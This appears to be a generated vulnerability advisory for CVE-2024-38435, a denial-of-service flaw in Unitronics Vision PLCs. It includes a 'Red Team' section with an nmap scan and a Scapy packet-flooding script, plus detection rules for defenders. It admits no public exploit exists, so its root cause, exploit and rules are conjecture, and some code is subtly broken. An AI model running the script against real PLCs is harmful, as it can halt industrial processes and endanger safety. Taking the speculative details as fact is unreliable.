CVE-2024-38435
Executive Summary
CVE-2024-38435 affects Unitronics Vision PLCs, a family of programmable logic controllers widely used in industrial control systems (ICS) and critical infrastructure. The vulnerability is rooted in CWE-703: Improper Check or Handling of Exceptional Conditions, which can be exploited to cause a denial of service (DoS) condition. With a CVSS score of 6.5 (Medium), the attack vector is network-based, requires no authentication, and has low complexity, making it a significant risk for exposed or poorly segmented OT networks. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available. The EPSS score of 0.0% indicates low exploitation likelihood in the wild, but the lack of a patch and the critical nature of PLCs in industrial environments demand proactive defensive measures.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware-level issue in Unitronics Vision PLCs, which are part of the OT/ICS supply chain. Organizations should assess their inventory of Unitronics devices and ensure they are not directly exposed to untrusted networks.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network – Exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): None – No user action required.
- Scope (S): Unchanged – Exploit does not affect other components.
- Confidentiality (C): None – No data exposure.
- Integrity (I): None – No data modification.
- Availability (A): High – Full denial of service.
Threat Level: Medium. While the impact is limited to availability, the lack of authentication and low complexity make it a viable vector for disrupting industrial processes. In OT environments, a DoS on a PLC can halt production lines or cause safety hazards.
Deep Dive & Mechanics
The vulnerability lies in how Unitronics Vision PLCs handle exceptional conditions (e.g., malformed packets, unexpected input, or resource exhaustion). CWE-703 indicates that the software fails to properly check for or handle exceptional conditions, leading to an unhandled exception that crashes the PLC or causes it to enter an infinite loop.
Potential Attack Vector:
An attacker sends specially crafted network packets to the PLC’s exposed services (e.g., port 20256, commonly used for Unitronics remote access). The PLC’s firmware does not validate the input correctly, triggering an exception that is not caught. This results in a watchdog timeout, a kernel panic, or a stack overflow, effectively halting the PLC’s control logic.
Root Cause Analysis:
- Lack of input validation on network protocols (e.g., Unitronics’ proprietary protocol or Modbus/TCP).
- Improper exception handling in the firmware’s network stack.
- No bounds checking on buffer sizes or message lengths.
Impact on ICS:
- Loss of control over physical processes (e.g., conveyor belts, valves, pumps).
- Safety system failures if the PLC is part of a safety-instrumented function.
- Potential for cascading failures in interconnected systems.
Vulnerable vs. Patched Code
Since no patch is available, a direct code comparison is not possible. However, based on the CWE, the vulnerable code likely resembles:
Vulnerable (pseudocode):
void handle_packet(char *buffer, int length) {
// No length check
process_data(buffer);
// If process_data throws an exception, it is not caught
}
Patched (hypothetical):
void handle_packet(char *buffer, int length) {
if (length > MAX_PACKET_SIZE) {
log_error("Invalid packet length");
return;
}
try {
process_data(buffer);
} catch (Exception &e) {
log_error("Exception caught: %s", e.what());
reset_connection();
}
}
The patched version would include input validation and proper exception handling to prevent crashes.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Unitronics Vision PLC (e.g., V570, V1210) with default firmware.
- Network access to the PLC (e.g., on the same subnet).
- Tools: Nmap, Python, Scapy, or custom script.
Exploitation Steps:
- Discovery: Scan for Unitronics PLCs on port 20256.
nmap -p 20256 --open <target_subnet> - Craft Malformed Packet: Send a packet with an oversized payload or invalid header.
from scapy.all import * target_ip = "192.168.1.100" target_port = 20256 # Example: Send a packet with length field set to 0xFFFF payload = b"\x00\xFF" * 1000 # Malformed data packet = IP(dst=target_ip)/TCP(dport=target_port)/Raw(load=payload) send(packet, verbose=0) - Trigger DoS: Repeatedly send the malformed packet. The PLC may crash or become unresponsive.
Expected Outcome: The PLC stops responding to legitimate requests, and its physical outputs may freeze in their last state.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual traffic on port 20256 (e.g., excessive packets, malformed payloads).
- Use network intrusion detection systems (NIDS) to alert on anomalous Modbus/Unitronics protocol patterns.
- Enable PLC logging and monitor for watchdog resets or unexpected reboots.
Mitigation:
- Segment OT networks from IT and the internet.
- Use firewalls to restrict access to PLCs to only authorized IPs.
- Apply vendor firmware updates when available.
- Implement an intrusion prevention system (IPS) to drop malformed packets.
Indicators of Compromise (IOCs)
Network IOCs:
- Traffic to/from port 20256 (TCP/UDP) with malformed payloads.
- Repeated connection attempts from a single IP to multiple PLCs.
- Packets with abnormal length fields (e.g., > 1024 bytes).
Host IOCs:
- PLC logs showing "Watchdog timeout" or "Unexpected exception".
- PLC status LED indicating fault or stop mode.
- Unexpected PLC reboots or loss of communication.
File IOCs:
- No file-based IOCs as this is a network-based DoS.
Detection Engineering
YARA Rule
rule CVE_2024_38435_Unitronics_DoS {
meta:
description = "Detects malformed packets targeting Unitronics Vision PLCs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-38435"
strings:
$malformed_payload = { 00 FF } // Example pattern
condition:
$malformed_payload and
// Assuming packet capture in PCAP
for any of them : ( #malformed_payload > 10 )
}
Sigma Rule
title: CVE-2024-38435 - Unitronics PLC DoS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic indicative of exploitation attempts against Unitronics Vision PLCs
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: zeek
detection:
selection:
destination_port: 20256
payload_length: "> 1024"
condition: selection
falsepositives:
- Legitimate large firmware updates (rare)
level: high
Suricata Rule
alert tcp any any -> any 20256 (msg:"CVE-2024-38435 - Unitronics PLC DoS Attempt"; flow:to_server; content:"|00 ff|"; depth:2; threshold: type both, track by_src, count 5, seconds 60; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Network Segmentation: Isolate PLCs from corporate networks and the internet. Use VLANs and firewalls.
- Access Control: Restrict access to port 20256 to only trusted IPs (e.g., engineering workstations).
- Monitor: Deploy NIDS rules (as above) to detect exploitation attempts.
Long-Term Fixes:
- Contact Unitronics for firmware patches. If none available, consider replacing the PLC with a patched alternative.
- Implement a virtual patching solution (e.g., WAF or IPS) to block malformed packets.
- Conduct a full OT security assessment to identify other vulnerable devices.
Workaround:
- Disable remote access to the PLC if not required.
- Use a VPN for any remote maintenance.
Valters IT